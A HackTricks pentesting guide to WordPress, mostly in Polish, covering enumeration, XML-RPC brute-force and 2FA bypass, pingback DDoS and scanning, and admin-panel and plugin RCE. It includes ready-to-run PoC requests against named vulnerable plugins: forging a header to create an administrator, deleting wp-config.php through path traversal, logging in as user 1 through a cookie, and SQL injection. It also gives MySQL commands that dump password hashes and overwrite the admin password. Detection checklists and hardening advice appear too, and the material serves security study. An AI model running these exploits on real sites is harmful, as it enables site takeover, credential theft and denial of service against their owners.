38 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Podstawowe informacje
-
Uploaded pliki trafiają do:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
W pliku wp-config.php możesz znaleźć hasło root do bazy danych.
-
Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Główne pliki WordPress
index.php
license.txt
zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.wp-activate.php
jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress.- Foldery logowania (mogą być przemianowane, aby je ukryć):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress REST API.- Folder
wp-content
jest głównym katalogiem, w którym przechowywane są wtyczki i motywy. wp-content/uploads/
jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę.wp-includes/
to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.wp-sitemap.xml
W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.
Post exploitation
- Plik
wp-config.php
zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów.
Uprawnienia użytkowników
- Administrator
- Editor: Publikuje i zarządza własnymi i cudzymi wpisami
- Author: Publikuje i zarządza wyłącznie własnymi wpisami
- Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- Subscriber: Przegląda wpisy i edytuje swój profil
Passive Enumeration
Get WordPress version
Sprawdź, czy możesz znaleźć pliki /license.txt
lub /readme.html
W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Pliki linków CSS
- Pliki JavaScript
Pobierz wtyczki
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Pobierz motywy
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Wydobywanie wersji — ogólnie
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktywna enumeracja
Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał aktywnie Brute Force listę wtyczek i motywów (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy).
Użytkownicy
- ID Brute: Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1
Jeśli odpowiedzi mają status 200 lub 30X, oznacza to, że id jest prawidłowe. Jeśli odpowiedź ma status 400, wtedy id jest nieprawidłowe.
- wp-json: Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie:
curl http://blog.example.com/wp-json/wp/v2/users
Kolejny endpoint /wp-json/
, który może ujawnić pewne informacje o użytkownikach, to:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję.
Zwróć też uwagę, że /wp-json/wp/v2/pages może leak IP addresses.
- Login username enumeration: Podczas logowania przez
/wp-login.php
komunikat jest inny i wskazuje, czy nazwa użytkownika istnieje, czy nie.
XML-RPC
Jeśli xml-rpc.php
jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając tego).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij to żądanie:
Sprawdź
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
lub metaWeblog.getUsersBlogs
to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Komunikat "Incorrect username or password" w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe.
Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Jest też szybszy sposób na brute-force credentials używając system.multicall
, ponieważ możesz spróbować kilku creds w tym samym żądaniu:

Omijanie 2FA
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS lub skanowanie portów
Jeśli znajdziesz metodę pingback.ping na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.
Może to posłużyć do zmuszenia tysięcy Wordpress sites do access jednej location (w ten sposób wywołując DDoS w tej lokalizacji), albo możesz użyć tego, aby sprawić, że Wordpress przeskanuje jakąś wewnętrzną network (możesz wskazać dowolny port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.
Zwróć uwagę na użycie system.multicall
w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu root strony Wordpress: /wp-cron.php
Gdy ten plik jest wywoływany, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez atakujących do wywołania DoS.
Ponadto, domyślnie wp-cron.php
jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
/wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i strona Worpress może wykonać żądanie do Ciebie.
This is the response when it doesn't work:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, i jeśli tak, próbuje je exploitować.
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Uzyskaj dostęp przez nadpisanie jednego bitu
To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji 5389
w pliku /var/www/html/wp-includes/user.php
, aby zamienić operację NOT (!
) na NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)
Wygląd → Edytor motywu → Szablon 404 (po prawej)
Zmień zawartość na php shell:
Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Możesz użyć:
use exploit/unix/webapp/wp_admin_shell_upload
aby uzyskać sesję.
Plugin RCE
PHP plugin
Może być możliwe przesłanie plików .php jako plugin.
Utwórz swój php backdoor używając na przykład:
Następnie dodaj nowy plugin:
Prześlij plugin i naciśnij Install Now:
Kliknij na Procced:
Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
Otwórz go i zobaczysz URL do uruchomienia reverse shell:
Uploading and activating malicious plugin
Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób:
- Plugin Acquisition: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład here.
- Plugin Installation:
- Przejdź do WordPress dashboard, następnie do
Dashboard > Plugins > Upload Plugin
. - Prześlij plik zip pobranego pluginu.
- Plugin Activation: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard.
- Exploitation:
- Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności.
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
- Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress.
Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Tworzy użytkownika w WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Prześlij swój custom plugin (backdoor) do WordPress.
- (RCE) Built-In Plugin Edit: Edytuj wbudowane pluginy w WordPress.
- (RCE) Built-In Theme Edit: Edytuj wbudowane motywy w WordPress.
- (Custom) Custom Exploits: Custom Exploits dla third-party WordPress Plugins/Themes.
Post Exploitation
Wyodrębnij nazwy użytkowników i hasła:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Zmień hasło administratora:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Powierzchnia ataku
Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w this blog post.
wp_ajax
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które każdy uwierzytelniony użytkownik instancji Wordpress może posiadać (niezależnie od jego roli).
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Użycie nopriv
sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).
Caution
Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji
wp_verify_nonce
, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień.
- REST API
Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
Jeśli użyta jest wbudowana funkcja __return_true
, po prostu pominie ona sprawdzenie uprawnień użytkownika.
- Bezpośredni dostęp do pliku PHP
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora). - Wyeksploatowana trasa:
POST /wp-json/wp/v2/users
z podwyższoną tablicą ról.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Dlaczego to działa
- The plugin maps a client-controlled header to authentication state and skips capability checks.
- WordPress core expects
create_users
capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
Oczekiwane wskaźniki sukcesu
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
- Nowy użytkownik z uprawnieniami administratora widoczny w
wp-admin/users.php
.
Lista kontrolna wykrywania
- Grep for
getallheaders()
,$_SERVER['HTTP_...']
, or vendor SDKs that read custom headers to set user context (e.g.,wp_set_current_user()
,wp_set_auth_cookie()
). - Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń
permission_callback
i zamiast tego polegają na nagłówkach żądania. - Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (
wp_insert_user
,wp_create_user
) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków.
Wzmocnienie
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
- Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np.
unset X-Wcpay-Platform-Checkout-User
na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera. - Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń
current_user_can()
oraz rygorystycznegopermission_callback
(NIE używaj__return_true
). - Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemy wprowadzone przez ten fragment:
- Unauthenticated access – zarejestrowano hook
wp_ajax_nopriv_
. - No nonce / capability check – każdy odwiedzający może wywołać endpoint.
- No path sanitisation – kontrolowany przez użytkownika ciąg
fontfamily
jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny../../
traversal.
Exploitation
Atakujący może usunąć dowolny plik lub katalog poniżej bazowego katalogu uploads (zwykle <wp-root>/wp-content/uploads/
) wysyłając jedno żądanie HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Ponieważ wp-config.php
znajduje się poza uploads, cztery sekwencje ../
wystarczą w domyślnej instalacji. Usunięcie wp-config.php
wymusza na WordPress przejście do kreatora instalacji przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina).
Inne istotne cele to pliki plugin/theme .php
(np. w celu wyłączenia security plugins) lub reguły .htaccess
.
Lista kontrolna wykrywania
- Każde wywołanie zwrotne
add_action( 'wp_ajax_nopriv_...')
, które wywołuje funkcje pomocnicze systemu plików (copy()
,unlink()
,$wp_filesystem->delete()
, itp.). - Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj
$_POST
,$_GET
,$_REQUEST
). - Brak
check_ajax_referer()
orazcurrent_user_can()
/is_user_logged_in()
.
Zabezpieczenia
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Zawsze traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via
realpath()
plusstr_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. $_REQUEST['reset-for']
) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation.
Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie reset-for=<username>
jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy $options['viewing_admin_as_role_are']
, ale nie wykonywała ani sprawdzenia current_user_can()
, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Dlaczego to jest podatne
- Ufa
$_REQUEST['reset-for']
i opcji pluginu bez autoryzacji po stronie serwera. - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w
_asenha_view_admin_as_original_roles
i został zdegradowany, może je przywrócić przez odwiedzenie reset path. - W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w
viewing_admin_as_role_are
(błędna autoryzacja).
Wymagania wstępne ataku
- Wrażliwa wersja pluginu z włączoną funkcją.
- Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
- Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu.
Eksploatacja (przykład)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. administrator
), skutecznie eskalując uprawnienia.
Detection checklist
- Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np.
_asenha_view_admin_as_original_roles
). - Zidentyfikuj ścieżki resetowania/przywracania, które:
- Odczytują nazwy użytkowników z
$_REQUEST
/$_GET
/$_POST
. - Modyfikują role za pomocą
add_role()
/remove_role()
bezcurrent_user_can()
iwp_verify_nonce()
/check_admin_referer()
. - Autoryzują na podstawie tablicy opcji wtyczki (np.
viewing_admin_as_role_are
) zamiast na podstawie uprawnień wykonawcy.
Hardening
- Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np.
current_user_can('manage_options')
lub bardziej restrykcyjne). - Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je:
check_admin_referer()
/wp_verify_nonce()
. - Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki.
- Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról.
Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym init
(Service Finder “sf-booking”)
Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka init
i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje wp_set_auth_cookie()
bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.
Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Dlaczego jest to podatne
- Publiczny hook
init
sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczeniais_user_logged_in()
). - Tożsamość pochodzi z cookie modyfikowalnego przez klienta (
original_user_id
). - Bezpośrednie wywołanie
wp_set_auth_cookie($uid)
loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce.
Eksploatacja (bez uwierzytelnienia)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Rozważania dotyczące WAF dla WordPress/plugin CVEs
Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
Notatki ofensywne
- Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Najpierw testuj ścieżki bez uwierzytelnienia (AJAX
nopriv
, REST z permissivepermission_callback
, public shortcodes). Domyślne payloads często działają bez obfuskacji. - Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect.
Notatki defensywne
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko.
- Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex.
Ochrona WordPress
Regularne aktualizacje
Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Również, instaluj tylko zaufane wtyczki i motywy WordPress.
Wtyczki bezpieczeństwa
Inne zalecenia
- Usuń domyślnego użytkownika admin
- Używaj silnych haseł i 2FA
- Okresowo przeglądaj uprawnienia użytkowników
- Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
- Zmień nazwę pliku
wp-admin.php
i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP.
SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie savecategory, które ostatecznie wykonuje następujący podatny kod w modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Niezabezpieczone dane wejściowe użytkownika –
parentid
pochodzi bezpośrednio z żądania HTTP. - Konkatenacja łańcuchów w klauzuli WHERE – brak
is_numeric()
/esc_sql()
/ prepared statement. - Dostęp bez uwierzytelnienia – chociaż akcja jest wykonywana przez
admin-post.php
, jedyną kontrolą jest CSRF nonce (wp_verify_nonce()
), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode[wpjobportal_my_resumes]
.
Eksploatacja
- Pobierz świeży nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Wstrzyknij dowolne SQL, wykorzystując
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
